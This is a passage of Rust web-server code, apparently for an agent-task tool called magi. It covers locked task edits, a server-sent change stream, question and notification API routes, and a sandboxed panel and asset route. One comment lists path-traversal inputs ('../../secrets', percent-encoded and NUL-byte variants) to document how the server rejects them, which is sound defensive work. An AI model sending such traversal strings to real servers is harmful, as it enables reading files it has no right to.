6198        let in_flight = crate::daemon::is_working_on_task(&ui.home, &id, jiff::Timestamp::now());
6199        ui.queue
6200            .remove(&id, in_flight, &ui.questions)
6201            .map_err(|e| ApiError::conflict(format!("{e:#}")))?;
6202        Ok(StatusCode::NO_CONTENT)
6203    })
6204    .await
6205}
6206
6207/// Read a task, change it, write it back, under the queue's own lock.
6208///
6209/// Taking the same claim a daemon takes is what makes hold, release,
6210/// priority, edit, and done safe to press while magi is running: without it
6211/// the daemon's next save would land on top of the operator's change and
6212/// undo it. `change` can refuse - [`Task::set_priority`] and [`Task::edit`]
6213/// both do, for a running task - and that refusal becomes the 4xx the card
6214/// shows, same as any other domain rule.
6215async fn mutate(
6216    ui: Arc<Ui>,
6217    id: String,
6218    change: impl FnOnce(&mut Task) -> Result<()> + Send + 'static,
6219) -> ApiResult<Json<TaskView>> {
6220    blocking(move || {
6221        let id = resolve_task(&ui.queue, &id)?;
6222        // `claim` fails when the lock file already exists, which is the
6223        // conflict the UI must report: the daemon owns that task's file for
6224        // as long as it is running it, and our write would be lost under its
6225        // next save. The message names the lock either way.
6226        let _claim = ui.queue.claim(&id).map_err(|e| {
6227            ApiError::conflict(format!(
6228                "{e:#} - a daemon is running this task, so it cannot be \
6229                 changed from here yet; wait until it is released, then retry"
6230            ))
6231        })?;
6232        let mut task = ui.queue.get(&id)?;
6233        change(&mut task).map_err(|e| match e.downcast::<crate::dupes::Duplicate>() {
6234            Ok(dup) => ApiError::conflict(dup.render(
6235                "Nothing was saved. If it is not a duplicate, repeat the request with \
6236                 \"force\": true.",
6237            )),
6238            Err(e) => ApiError::bad_request_from(e),
6239        })?;
6240        ui.queue.put(&mut task)?;
6241        Ok(Json(TaskView::from(task)))
6242    })
6243    .await
6244}
6245
6246/// The change stream: one revision number per store, on connect and whenever
6247/// any of them moves.
6248///
6249/// The poll runs in one spawned task per client, which is affordable because
6250/// the work is a directory scan and a `stat` per file. It stops as soon as the
6251/// receiver is gone, so a phone that walks out of range costs nothing after
6252/// its next tick - there is no session and no cleanup to forget.
6253async fn events(State(ui): State<Arc<Ui>>) -> impl IntoResponse {
6254    let (tx, rx) = tokio::sync::mpsc::channel::<Event>(4);
6255    tokio::spawn(async move {
6256        let mut ticker = tokio::time::interval(POLL);
6257        let mut last: Option<(u64, u64, u64, u64, u64, u64)> = None;
6258        let mut stamps: Option<[Stamps; 3]> = None;
6259        loop {
6260            // The first tick completes immediately, which is what makes the
6261            // stream announce the current revisions on connect.
6262            ticker.tick().await;
6263            let state = Arc::clone(&ui);
6264            let revisions = tokio::task::spawn_blocking(move || {
6265                let stamps = [
6266                    store_stamps(state.queue.root(), false),
6267                    store_stamps(&state.runs, true),
6268                    store_stamps(state.talks.root(), false),
6269                ];
6270                let revisions = (
6271                    stamps_revision(&stamps[0]),
6272                    stamps_revision(&stamps[1]),
6273                    state.questions.revision(),
6274                    stamps_revision(&stamps[2]),
6275                    state.notices.revision(),
6276                    // The loop's counter is in-process state rather than a
6277                    // file, so nothing the three stats above look at would
6278                    // tell this phone that another one started the loop.
6279                    state.lock_loop().rev,
6280                );
6281                (revisions, stamps)
6282            })
6283            .await;
6284            let Ok((revisions, next_stamps)) = revisions else {
6285                break;
6286            };
6287            if last == Some(revisions) {
6288                continue;
6289            }
6290            let mut payload = serde_json::json!({
6291                "queue_rev": revisions.0,
6292                "runs_rev": revisions.1,
6293                "questions_rev": revisions.2,
6294                "talks_rev": revisions.3,
6295                "notifications_rev": revisions.4,
6296                "loop_rev": revisions.5,
6297            });
6298            if let (Some(base), Some(previous)) = (last, stamps.as_ref()) {
6299                for (index, (key, rev)) in [
6300                    ("queue_delta", base.0),
6301                    ("runs_delta", base.1),
6302                    ("talks_delta", base.3),
6303                ]
6304                .into_iter()
6305                .enumerate()
6306                {
6307                    let delta = diff_stamps(&previous[index], &next_stamps[index], rev);
6308                    // Empty diffs may mean a non-file dependency moved. Read whole.
6309                    if delta.changed.len() + delta.removed.len() > 0 && delta.changed.len() <= 50 {
6310                        payload[key] = serde_json::to_value(delta).expect("serializable delta");
6311                    }
6312                }
6313            }
6314            last = Some(revisions);
6315            stamps = Some(next_stamps);
6316            // Giving up beats looping if the receiver is gone.
6317            let Ok(event) = Event::default().event("change").json_data(payload) else {
6318                break;
6319            };
6320            if tx.send(event).await.is_err() {
6321                break;
6322            }
6323        }
6324    });
6325    Sse::new(ReceiverStream::new(rx).map(Ok::<Event, Infallible>))
6326        .keep_alive(KeepAlive::new().interval(KEEPALIVE))
6327}
6328
6329type Stamps = HashMap<String, (u128, u64)>;
6330
6331/// Metadata only: no task instructions or conversation bodies are read here.
6332fn store_stamps(root: &FsPath, runs: bool) -> Stamps {
6333    std::fs::read_dir(root)
6334        .into_iter()
6335        .flatten()
6336        .flatten()
6337        .filter_map(|entry| {
6338            let path = if runs {
6339                entry.path().join("run.json")
6340            } else {
6341                entry.path()
6342            };
6343            if !runs && path.extension().is_none_or(|ext| ext != "json") {
6344                return None;
6345            }
6346            let metadata = path.metadata().ok()?;
6347            let modified = metadata
6348                .modified()
6349                .ok()?
6350                .duration_since(std::time::UNIX_EPOCH)
6351                .ok()?;
6352            let id = if runs {
6353                entry.file_name().to_string_lossy().into_owned()
6354            } else {
6355                path.file_stem()?.to_string_lossy().into_owned()
6356            };
6357            Some((id, (modified.as_nanos(), metadata.len())))
6358        })
6359        .collect()
6360}
6361
6362#[derive(Debug, Serialize)]
6363struct Delta {
6364    base: u64,
6365    changed: Vec<String>,
6366    removed: Vec<String>,
6367}
6368
6369fn diff_stamps(previous: &Stamps, next: &Stamps, base: u64) -> Delta {
6370    let mut changed: Vec<_> = next
6371        .iter()
6372        .filter(|(id, stamp)| previous.get(*id) != Some(*stamp))
6373        .map(|(id, _)| id.clone())
6374        .collect();
6375    let mut removed: Vec<_> = previous
6376        .keys()
6377        .filter(|id| !next.contains_key(*id))
6378        .cloned()
6379        .collect();
6380    changed.sort_unstable();
6381    removed.sort_unstable();
6382    Delta {
6383        base,
6384        changed,
6385        removed,
6386    }
6387}
6388
6389/// Change detection token for recorded runs under `runs`.
6390///
6391/// Combines the id and `run.json` modification time of each run, so adding,
6392/// updating, or deleting any run — even an older one — moves the revision and
6393/// notifies connected clients via the change stream. Returns 0 when no runs
6394/// exist.
6395fn runs_revision(runs: &FsPath) -> u64 {
6396    stamps_revision(&store_stamps(runs, true))
6397}
6398
6399/// Opaque tokens use the exact metadata snapshot behind the delta, in both
6400/// health and SSE. Nanoseconds and length also detect same-millisecond writes
6401/// and deleting an older conversation (a newest-mtime token cannot do that).
6402fn stamps_revision(stamps: &Stamps) -> u64 {
6403    use std::hash::{Hash as _, Hasher as _};
6404    if stamps.is_empty() {
6405        return 0;
6406    }
6407    let mut entries: Vec<_> = stamps.iter().collect();
6408    entries.sort_unstable();
6409    let mut hasher = std::hash::DefaultHasher::new();
6410    entries.hash(&mut hasher);
6411    hasher.finish().max(1)
6412}
6413
6414/// Run ids under `runs`, newest first.
6415///
6416/// Rooted at an explicit directory rather than calling [`run::list_ids`],
6417/// which reads the process-global home: the server has to be drivable against
6418/// a temp directory for any of this to be testable.
6419fn run_ids(runs: &FsPath) -> Vec<String> {
6420    let mut ids: Vec<String> = std::fs::read_dir(runs)
6421        .into_iter()
6422        .flatten()
6423        .flatten()
6424        .filter(|e| e.path().join("run.json").is_file())
6425        .map(|e| e.file_name().to_string_lossy().into_owned())
6426        .collect();
6427    // Ids start with a sortable timestamp.
6428    ids.sort_unstable_by(|a, b| b.cmp(a));
6429    ids
6430}
6431
6432/// Read one run's state from an explicit runs root.
6433fn read_run(runs: &FsPath, id: &str) -> Result<RunState> {
6434    let path = runs.join(id).join("run.json");
6435    let body =
6436        std::fs::read_to_string(&path).with_context(|| format!("read {}", path.display()))?;
6437    let state: RunState =
6438        serde_json::from_str(&body).with_context(|| format!("parse {}", path.display()))?;
6439    // The same migration `RunState::load` applies, so a record from the
6440    // previous schema reads here as it does everywhere else (an origin-less
6441    // run shows as "origin unknown") instead of vanishing from the phone the
6442    // moment the schema is bumped.
6443    run::migrate_schema(state)
6444}
6445
6446/// Runs on disk under `runs` whose state this build cannot parse - almost
6447/// always a schema bump, occasionally a run killed mid-write.
6448///
6449/// Exposed so every surface that reports on runs shares one count instead of
6450/// each re-deriving it: `/api/health` reports it as `runs_unreadable`, and
6451/// `magi doctor` calls this directly rather than guessing at the same number
6452/// a second way.
6453#[must_use]
6454pub fn runs_unreadable(runs: &FsPath) -> usize {
6455    run_ids(runs)
6456        .into_iter()
6457        .filter(|id| read_run(runs, id).is_err())
6458        .count()
6459}
6460
6461/// Expand an id or short id to exactly one run id.
6462fn resolve_run(runs: &FsPath, id: &str) -> ApiResult<String> {
6463    if runs.join(id).join("run.json").is_file() {
6464        return Ok(id.to_owned());
6465    }
6466    pick(run_ids(runs), id, "run")
6467}
6468
6469/// Expand an id or short id to exactly one task id.
6470fn resolve_task(queue: &Queue, id: &str) -> ApiResult<String> {
6471    if queue.path_of(id).is_file() {
6472        return Ok(id.to_owned());
6473    }
6474    pick(queue.list().into_iter().map(|t| t.id).collect(), id, "task")
6475}
6476
6477/// A question as the phone reads it.
6478///
6479/// `detail`, the reasoning an agent wrote, is markdown; `detail_md` is that
6480/// text already parsed into a node tree so the client never runs its own
6481/// markdown reader over agent-authored prose. A relative image path in it
6482/// resolves against this question's own panel asset route, which is the one
6483/// place [`md::ImageBase::QuestionPanel`] is used - the panel iframe is a
6484/// separate, sandboxed document, but `detail` is rendered inline in the
6485/// operator's own page, so an image reference in it may only ever point at
6486/// files magi itself already serves for this question.
6487#[derive(Debug, Serialize)]
6488struct QuestionView {
6489    choice_effects: std::collections::BTreeMap<String, String>,
6490    #[serde(flatten)]
6491    question: Question,
6492    detail_md: Vec<md::Node>,
6493    posting_view: Option<PostingView>,
6494    /// Each thread turn's body, parsed; same order as `question.thread`.
6495    thread_bodies_md: Vec<Vec<md::Node>>,
6496    /// Each thread turn's deputy note, parsed (`None` for a turn without
6497    /// one); same order as `question.thread`.
6498    thread_notes_md: Vec<Option<Vec<md::Node>>>,
6499    /// Is the ball in the agent's court right now?
6500    ///
6501    /// [`QuestionStatus`] stays `Open` for the whole of a round trip - see
6502    /// [`Question::say`] - so this is the one field that tells the phone to
6503    /// disable the answer controls and show "waiting for the agent" instead of
6504    /// a card the owner can act on. Computed rather than stored on
6505    /// [`Question`] itself, on the same reasoning as `waiting` on
6506    /// [`RunSummary`]: it is a read of `thread`'s own last entry, and keeping
6507    /// it here means the client never has to re-derive that rule.
6508    waiting_on_agent: bool,
6509    /// Who is waiting on this open question - see [`holder_of`]. Separate
6510    /// from `waiting_on_agent`, which is whose *turn* it is, not whether
6511    /// anyone is there to take it.
6512    holder: Option<&'static str>,
6513    /// Whether `magi serve` can start a follow-up agent for a conductor
6514    /// question at all: false when `daemon.max_deputies = 0` or the config is
6515    /// unreadable. Separate from `holder`, which says who is listening now.
6516    deputies_enabled: bool,
6517    /// All starts were spent and no live holder remains. Display-only: the
6518    /// final attempt increments `starts` before running under its lease.
6519    deputy_exhausted: bool,
6520    text_delivery: crate::question_delivery::Availability,
6521    /// `question.run` is a task id (conductor / triage questions), not a run
6522    /// id, so the UI links it to the task page.
6523    run_is_task: bool,
6524    /// The existing chat this question's task came from, including settled
6525    /// questions - see [`crate::consult::associated_talk`].
6526    origin_chat: Option<String>,
6527    /// `origin_chat` is closed; consulting reopens it first.
6528    origin_chat_closed: bool,
6529    /// Consultation eligibility is separate from navigation to the chat.
6530    can_consult_chat: bool,
6531}
6532
6533#[derive(Debug, Serialize)]
6534struct PostingView {
6535    before_md: Vec<md::Node>,
6536    after_md: Vec<md::Node>,
6537    fields: Vec<crate::github_text::ComparisonView>,
6538}
6539
6540fn posting_view(question: &Question, base: &md::ImageBase) -> Option<PostingView> {
6541    let comparison = question.posting_comparison.as_ref()?;
6542    if !comparison.matches_detail(&question.detail) {
6543        return None;
6544    }
6545    let mut ids = std::collections::BTreeSet::new();
6546    if comparison.fields.is_empty()
6547        || comparison
6548            .fields
6549            .iter()
6550            .flat_map(|f| &f.pairs)
6551            .any(|p| !ids.insert(p.id))
6552        || comparison
6553            .fields
6554            .iter()
6555            .flat_map(|f| &f.original_triggers)
6556            .any(|t| !ids.insert(t.id))
6557    {
6558        return None;
6559    }
6560    let fields = comparison
6561        .fields
6562        .iter()
6563        .map(|f| f.view(comparison.excerpt))
6564        .collect::<Option<Vec<_>>>()?;
6565    Some(PostingView {
6566        before_md: md::to_nodes(question.detail.get(..comparison.start)?, base),
6567        after_md: md::to_nodes(question.detail.get(comparison.end..)?, base),
6568        fields,
6569    })
6570}
6571
6572impl QuestionView {
6573    /// The view of `question`, reading who is waiting on it from `store`.
6574    ///
6575    /// `holder` needs the lease sidecar, which is why this is not a `From`.
6576    fn of(question: Question, store: &ask::Questions, cfg: Option<&Config>) -> Self {
6577        let base = md::ImageBase::QuestionPanel {
6578            id: question.id.clone(),
6579        };
6580        let holder = holder_of(&question, store.read_lease(&question.id).as_ref());
6581        Self {
6582            choice_effects: question
6583                .choices
6584                .iter()
6585                .filter_map(|c| {
6586                    crate::choice_effect::describe(&question, c).map(|effect| (c.clone(), effect))
6587                })
6588                .collect(),
6589            detail_md: md::to_nodes(&question.detail, &base),
6590            posting_view: posting_view(&question, &base),
6591            thread_bodies_md: question
6592                .thread
6593                .iter()
6594                .map(|t| md::to_nodes(&t.body, &base))
6595                .collect(),
6596            thread_notes_md: question
6597                .thread
6598                .iter()
6599                .map(|t| t.note.as_deref().map(|n| md::to_nodes(n, &base)))
6600                .collect(),
6601            deputy_exhausted: store.deputy_exhausted(&question),
6602            waiting_on_agent: question.waiting_on_agent(),
6603            holder,
6604            deputies_enabled: deputies_enabled(cfg, &question),
6605            text_delivery: crate::question_delivery::availability(store, &question, cfg),
6606            run_is_task: question.run_names_task(),
6607            origin_chat: None,
6608            origin_chat_closed: false,
6609            can_consult_chat: false,
6610            question,
6611        }
6612    }
6613
6614    /// Fill `origin_chat` from the queue and the talks.
6615    fn with_origin(mut self, tasks: &[crate::queue::Task], talks: &[Talk]) -> Self {
6616        let consult = crate::consult::origin_talk(tasks, talks, &self.question);
6617        self.can_consult_chat = consult.is_some();
6618        let talk =
6619            consult.or_else(|| crate::consult::associated_talk(tasks, talks, &self.question));
6620        self.origin_chat_closed = talk.as_ref().is_some_and(|t| !t.status.open());
6621        self.origin_chat = talk.map(|t| t.id);
6622        self
6623    }
6624}
6625
6626/// The config this repository resolves, or `None` when it cannot be read.
6627/// Discovering is git processes plus a config render, so a request that needs
6628/// it for many items takes it once and passes it down.
6629fn deputy_config(repo: &std::path::Path) -> Option<Config> {
6630    Config::discover(repo, None).ok().map(|(c, _)| c)
6631}
6632
6633/// Can `magi serve` start a deputy for this question under `cfg`?
6634fn deputies_enabled(cfg: Option<&Config>, q: &Question) -> bool {
6635    crate::deputy::can_start(cfg, crate::deputy::agent_of(q))
6636}
6637
6638/// The views `GET /api/questions` answers. `load` runs at most once, however
6639/// many questions there are, and not at all when there are none.
6640fn question_views(
6641    qs: Vec<Question>,
6642    store: &ask::Questions,
6643    load: impl FnOnce() -> Option<Config>,
6644) -> Vec<QuestionView> {
6645    if qs.is_empty() {
6646        return Vec::new();
6647    }
6648    let cfg = load();
6649    qs.into_iter()
6650        .map(|q| QuestionView::of(q, store, cfg.as_ref()))
6651        .collect()
6652}
6653
6654/// Who is honestly waiting on an open question right now: `"asker"` (the
6655/// agent's own `magi ask`), `"deputy"` (the follow-up seat `magi serve` runs
6656/// for a conductor question), `"daemon"` (`magi serve` resuming the asking
6657/// seat's session), or `"nobody"` - the asker is gone and nothing has picked it
6658/// up, or the question never had anyone listening (a conductor question or a
6659/// merge approval from before deputies, or not yet given one).
6660///
6661/// `None` for a question that is settled, and for one that is not an agent's
6662/// to wait on at all (a release notice).
6663fn holder_of(q: &Question, lease: Option<&ask::Lease>) -> Option<&'static str> {
6664    if !q.status.open() {
6665        return None;
6666    }
6667    if q.cwd.is_none()
6668        && q.deputy.is_none()
6669        && lease.is_none_or(|l| !l.fresh(jiff::Timestamp::now()))
6670    {
6671        return crate::deputy::kind_of(q).map(|_| "nobody");
6672    }
6673    Some(match lease.filter(|l| l.fresh(jiff::Timestamp::now())) {
6674        Some(_) if q.deputy.is_some() => "deputy",
6675        Some(l) if l.kind == ask::WaiterKind::Daemon => "daemon",
6676        Some(_) => "asker",
6677        None => "nobody",
6678    })
6679}
6680
6681/// `GET /api/questions`.
6682///
6683/// Everything, not just the open ones: an answered question is the record of a
6684/// decision, and the phone is where the operator goes back to check what they
6685/// told an agent at 3am. `ask::Questions::list` already ranks open first.
6686async fn questions_list(State(ui): State<Arc<Ui>>) -> ApiResult<Json<Vec<QuestionView>>> {
6687    blocking(move || {
6688        let (tasks, talks) = (ui.queue.list(), ui.talks.list());
6689        Ok(Json(
6690            question_views(ui.questions.list(), &ui.questions, || {
6691                deputy_config(&ui.repo)
6692            })
6693            .into_iter()
6694            .map(|v| v.with_origin(&tasks, &talks))
6695            .collect(),
6696        ))
6697    })
6698    .await
6699}
6700
6701/// `GET /api/notifications`: not dismissed, newest first, with the unread
6702/// count so the badge and the list cannot disagree.
6703async fn notifications_list(State(ui): State<Arc<Ui>>) -> ApiResult<Json<serde_json::Value>> {
6704    blocking(move || {
6705        let items = ui.notices.list();
6706        let unread = items.iter().filter(|n| n.unread()).count();
6707        let items: Vec<_> = items
6708            .into_iter()
6709            .map(|n| {
6710                let question = crate::notices::answerable_question(&n, &ui.questions);
6711                let mut item = serde_json::to_value(n)?;
6712                item["answerable_question"] = serde_json::json!(question);
6713                Ok(item)
6714            })
6715            .collect::<anyhow::Result<_>>()?;
6716        Ok(Json(
6717            serde_json::json!({ "unread": unread, "items": items }),
6718        ))
6719    })
6720    .await
6721}
6722
6723fn notice_error(e: anyhow::Error) -> ApiError {
6724    // An unknown or malformed id and a vanished file are the same answer to
6725    // the phone: that notification is gone.
6726    ApiError::not_found(format!("{e:#}"))
6727}
6728
6729/// `POST /api/notifications/{id}/read`.
6730async fn notification_read(
6731    State(ui): State<Arc<Ui>>,
6732    Path(id): Path<String>,
6733) -> ApiResult<Json<Notice>> {
6734    blocking(move || ui.notices.mark_read(&id).map(Json).map_err(notice_error)).await
6735}
6736
6737/// `POST /api/notifications/{id}/dismiss`.
6738async fn notification_dismiss(
6739    State(ui): State<Arc<Ui>>,
6740    Path(id): Path<String>,
6741) -> ApiResult<Json<Notice>> {
6742    blocking(move || ui.notices.dismiss(&id).map(Json).map_err(notice_error)).await
6743}
6744
6745/// `POST /api/notifications/read-all`.
6746async fn notifications_read_all(State(ui): State<Arc<Ui>>) -> ApiResult<Json<serde_json::Value>> {
6747    blocking(move || {
6748        let changed = ui.notices.mark_all_read()?;
6749        Ok(Json(serde_json::json!({ "marked": changed })))
6750    })
6751    .await
6752}
6753
6754/// The body of `POST /api/questions/{id}/answer`.
6755///
6756/// Exactly one of the two fields, mirroring `ask::Answer`. Both or neither is
6757/// a bad request rather than a guess: an answer magi invented is worse than a
6758/// question left open.
6759#[derive(Debug, Default, Deserialize)]
6760#[serde(default, deny_unknown_fields)]
6761struct NewAnswer {
6762    choice: Option<String>,
6763    text: Option<String>,
6764}
6765
6766async fn question_answer(
6767    State(ui): State<Arc<Ui>>,
6768    Path(id): Path<String>,
6769    body: std::result::Result<Json<NewAnswer>, axum::extract::rejection::JsonRejection>,
6770) -> ApiResult<Json<QuestionView>> {
6771    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
6772    let answer = match (body.choice, body.text) {
6773        (Some(c), None) => Answer::Choice(c),
6774        (None, Some(t)) => Answer::Text(t),
6775        (Some(_), Some(_)) => {
6776            return Err(ApiError::bad_request(
6777                "send either `choice` or `text`, not both",
6778            ));
6779        }
6780        (None, None) => {
6781            return Err(ApiError::bad_request("send a `choice` or a `text`"));
6782        }
6783    };
6784
6785    blocking(move || {
6786        let id = resolve_question(&ui.questions, &id)?;
6787        let q = ui
6788            .questions
6789            .get(&id)
6790            .map_err(|e| ApiError::from(e).with_status(StatusCode::INTERNAL_SERVER_ERROR))?;
6791        if !q.status.open() {
6792            // Answered from the terminal, or by another phone, in between the
6793            // list and the tap. The UI shows the recorded answer rather than an
6794            // error, so it needs the record, not just the status.
6795            return Err(ApiError::conflict(format!(
6796                "question {} is already {}",
6797                q.short(),
6798                q.status.as_str()
6799            )));
6800        }
6801        // `Question::answer` owns the rules - an unoffered choice, free text on
6802        // a multiple-choice question, an empty reply - so the route does not
6803        // restate them and cannot drift from the CLI's behaviour.
6804        let cfg = deputy_config(&ui.repo);
6805        let (q, ()) = ui
6806            .questions
6807            .update(&q.id, |r| r.answer(answer))
6808            .map_err(ApiError::bad_request_from)?;
6809        let (tasks, talks) = (ui.queue.list(), ui.talks.list());
6810        Ok(Json(
6811            QuestionView::of(q, &ui.questions, cfg.as_ref()).with_origin(&tasks, &talks),
6812        ))
6813    })
6814    .await
6815}
6816
6817/// A dedicated status avoids the client's settled-question 409 handling.
6818fn question_text_error(e: anyhow::Error) -> ApiError {
6819    let reason = e
6820        .downcast_ref::<crate::question_delivery::TextUnavailable>()
6821        .map(|e| e.reason);
6822    let error = ApiError::bad_request_from(e);
6823    if let Some(reason) = reason {
6824        ApiError {
6825            text_reason: Some(reason),
6826            ..error.with_status(StatusCode::UNPROCESSABLE_ENTITY)
6827        }
6828    } else {
6829        error
6830    }
6831}
6832
6833/// The body of `POST /api/questions/{id}/say`.
6834#[derive(Debug, Deserialize)]
6835#[serde(deny_unknown_fields)]
6836struct NewSay {
6837    body: String,
6838}
6839
6840/// `POST /api/questions/{id}/say` - the owner talks back without deciding.
6841///
6842/// Synchronous, unlike `POST /api/talks/{id}/say`: that route spawns an agent
6843/// CLI and waits on it, this one only appends a [`ask::Turn`] and writes the
6844/// file, so there is no turn to serialize against and no
6845/// [`Ui::begin_talk_turn`] guard to take. The agent waiting on this question
6846/// is a *different* process - the run parked behind `magi ask` - and picks
6847/// the reply up on its own poll of the very same file, same as an answer
6848/// does.
6849async fn question_say(
6850    State(ui): State<Arc<Ui>>,
6851    Path(id): Path<String>,
6852    body: std::result::Result<Json<NewSay>, JsonRejection>,
6853) -> ApiResult<Json<QuestionView>> {
6854    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
6855    blocking(move || {
6856        let id = resolve_question(&ui.questions, &id)?;
6857        let q = ui
6858            .questions
6859            .get(&id)
6860            .map_err(|e| ApiError::from(e).with_status(StatusCode::INTERNAL_SERVER_ERROR))?;
6861        if !q.status.open() {
6862            // Same granularity as `question_answer`: answered or abandoned in
6863            // between the list and the tap is not this route's error to
6864            // explain any differently.
6865            return Err(ApiError::conflict(format!(
6866                "question {} is already {}",
6867                q.short(),
6868                q.status.as_str()
6869            )));
6870        }
6871        // `Question::say` owns the one rule that matters here - an empty
6872        // message tells the agent nothing - so the route does not restate it.
6873        let cfg = deputy_config(&ui.repo);
6874        let (q, ()) = ui
6875            .questions
6876            .update(&q.id, |r| {
6877                if body.body.trim().is_empty() {
6878                    return r.say(body.body);
6879                }
6880                crate::question_delivery::require(&ui.questions, r, cfg.as_ref())?;
6881                r.say(body.body)
6882            })
6883            .map_err(question_text_error)?;
6884        let (tasks, talks) = (ui.queue.list(), ui.talks.list());
6885        Ok(Json(
6886            QuestionView::of(q, &ui.questions, cfg.as_ref()).with_origin(&tasks, &talks),
6887        ))
6888    })
6889    .await
6890}
6891
6892/// `POST /api/questions/{id}/consult` - hand the question to the chat its task
6893/// came from. The question stays open: the chat agent answers it with `magi
6894/// answer`, or puts the decision to the owner in the conversation.
6895///
6896/// Answers 202 and runs the turn in the background, like every route that
6897/// spends agent calls. The text is queued as a draft of the existing talk, and
6898/// the turn goes through the talk's own gate and session; no seat or waiter is
6899/// started here.
6900async fn question_consult(
6901    State(ui): State<Arc<Ui>>,
6902    Path(id): Path<String>,
6903) -> ApiResult<(StatusCode, Json<QuestionView>)> {
6904    let (view, reclaimed) = blocking({
6905        let ui = Arc::clone(&ui);
6906        move || {
6907            let id = resolve_question(&ui.questions, &id)?;
6908            let q = ui
6909                .questions
6910                .get(&id)
6911                .map_err(|e| ApiError::from(e).with_status(StatusCode::INTERNAL_SERVER_ERROR))?;
6912            if !q.status.open() {
6913                return Err(ApiError::conflict(format!(
6914                    "question {} is already {}",
6915                    q.short(),
6916                    q.status.as_str()
6917                )));
6918            }
6919            let (tasks, talks) = (ui.queue.list(), ui.talks.list());
6920            let Some(talk) = crate::consult::origin_talk(&tasks, &talks, &q) else {
6921                return Err(ApiError::conflict(format!(
6922                    "question {} has no chat to ask",
6923                    q.short()
6924                )));
6925            };
6926            // Read the config before `begin` saves anything: a failure here
6927            // must leave no consult record or draft behind, or a retry would
6928            // see `fresh == false` and never start the turn.
6929            let cfg = if q.consult.is_none() {
6930                Some(Config::discover(&talk.repo, None)?.0)
6931            } else {
6932                None
6933            };
6934            let fresh = crate::consult::begin(&ui.questions, &ui.talks, &q, &talk)?;
6935            let claim = if fresh {
6936                match ui.begin_queued_talk_turn(&talk.id)? {
6937                    Some(turn_guard) => {
6938                        let talk = ui.talks.get(&talk.id)?;
6939                        let cfg = match cfg {
6940                            Some(cfg) => cfg,
6941                            None => Config::discover(&talk.repo, None)?.0,
6942                        };
6943                        Some((talk, cfg, turn_guard))
6944                    }
6945                    None => None,
6946                }
6947            } else {
6948                None
6949            };
6950            let q = ui.questions.get(&q.id)?;
6951            let cfg = deputy_config(&ui.repo);
6952            let view = QuestionView::of(q, &ui.questions, cfg.as_ref()).with_origin(&tasks, &talks);
6953            Ok((view, claim))
6954        }
6955    })
6956    .await?;
6957    if let Some((talk, cfg, turn_guard)) = reclaimed {
6958        let talks = ui.talks.clone();
6959        let id = talk.id.clone();
6960        tokio::spawn(drain_loop(talk, talks, cfg, id, turn_guard));
6961    }
6962    Ok((StatusCode::ACCEPTED, Json(view)))
6963}
6964
6965/// Expand an id or short id to exactly one question id.
6966fn resolve_question(store: &Questions, id: &str) -> ApiResult<String> {
6967    if store.path_of(id).is_file() {
6968        return Ok(id.to_owned());
6969    }
6970    pick(
6971        store.list().into_iter().map(|q| q.id).collect(),
6972        id,
6973        "question",
6974    )
6975}
6976
6977/// `GET /api/questions/{id}/panel`.
6978///
6979/// The panel an agent wrote for this question, as `text/html` under
6980/// [`PANEL_CSP`], for the front end to mount in a sandboxed iframe.
6981/// A question without one is a 404 rather than an empty page: the client
6982/// preflights this route with `HEAD` and must be able to tell "no panel" from
6983/// "a panel that rendered blank", and a sandboxed frame is opaque to the
6984/// parent document so it cannot tell the difference by looking.
6985///
6986/// The body is whatever the agent wrote, byte for byte. Nothing here rewrites,
6987/// sanitises or minifies it - a sanitiser is a list of things someone thought
6988/// of, and the sandbox plus the CSP is a list of things that are allowed, which
6989/// is the direction that stays safe when an agent writes markup nobody
6990/// predicted.
6991async fn question_panel(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<Response> {
6992    blocking(move || {
6993        let id = resolve_question(&ui.questions, &id)?;
6994        let Some(html) = ui.questions.panel_html(&id) else {
6995            return Err(ApiError::not_found(format!("question {id} has no panel")));
6996        };
6997        Ok(panel_response(
6998            "text/html; charset=utf-8",
6999            false,
7000            html.into_bytes(),
7001        ))
7002    })
7003    .await
7004}
7005
7006/// `GET /api/questions/{id}/asset/{name}`.
7007///
7008/// One file from the question's own panel directory, so a panel can show a
7009/// diff as an SVG or a screenshot as a PNG without the CSP's `img-src 'self'`
7010/// having to allow anything off this machine.
7011///
7012/// This is the only route in the server where a client names a file, so it is
7013/// the only one with a traversal surface, and the name is checked by
7014/// [`ask::valid_asset_name`] before a path is built from it. Which layer stops
7015/// what is worth being explicit about, because the answer is not "all of it in
7016/// one place":
7017///
7018/// * `asset/../../secrets` never reaches this handler at all. axum matches on
7019///   the raw request path and `{name}` spans exactly one segment, so a real
7020///   slash makes the request too long for the route and the router answers 404.
7021/// * `asset/%2e%2e%2fsecrets` and `asset/..%5csecrets` do reach it: axum
7022///   percent-decodes path parameters, so `name` arrives as `../secrets` and
7023///   `..\secrets` respectively, which look like plain filenames to the router.
7024///   The validator refuses them here - both for the literal `..` and because
7025///   `/` and `\` are not in the permitted character set - and answers 400.
7026/// * A name carrying a NUL (`%00`) decodes to a string Rust is happy with but
7027///   the platform's path API is not, and it is refused here for the same
7028///   reason: NUL is not a permitted character.
7029/// * [`Questions::panel_asset`] validates again on read, so the check is not
7030///   load-bearing in only one place. This route's own check exists so the
7031///   failure is a 400 that says which name was wrong, rather than a store error
7032///   the operator has to interpret.
7033async fn question_asset(
7034    State(ui): State<Arc<Ui>>,
7035    Path((id, name)): Path<(String, String)>,
7036) -> ApiResult<Response> {
7037    // Before any filesystem work and before any path is built: a name this
7038    // server will not serve should not become a `PathBuf` at all.
7039    if !crate::ask::valid_asset_name(&name) {
7040        return Err(ApiError::bad_request(format!(
7041            "`{name}` is not a usable asset name"
7042        )));
7043    }
7044    blocking(move || {
7045        let id = resolve_question(&ui.questions, &id)?;
7046        let asset = ui
7047            .questions
7048            .panel_asset(&id, &name)
7049            .map_err(|e| ApiError::bad_request(format!("{e:#}")))?;
7050        let Some(bytes) = asset else {
7051            return Err(ApiError::not_found(format!(
7052                "question {id} has no asset `{name}`"
7053            )));
7054        };
7055        Ok(panel_response(
7056            asset_content_type(&name),
7057            is_svg(&name),
7058            bytes,
7059        ))
7060    })
7061    .await
7062}
7063
7064/// Content type for a panel asset, from a closed whitelist.
7065///
7066/// A whitelist with an `application/octet-stream` fallback rather than a
7067/// guess, because the one answer that must never come out of here is
7068/// `text/html`. An agent that writes `notes.html` into its panel directory and
7069/// links it would otherwise get its own markup rendered at the top level of the
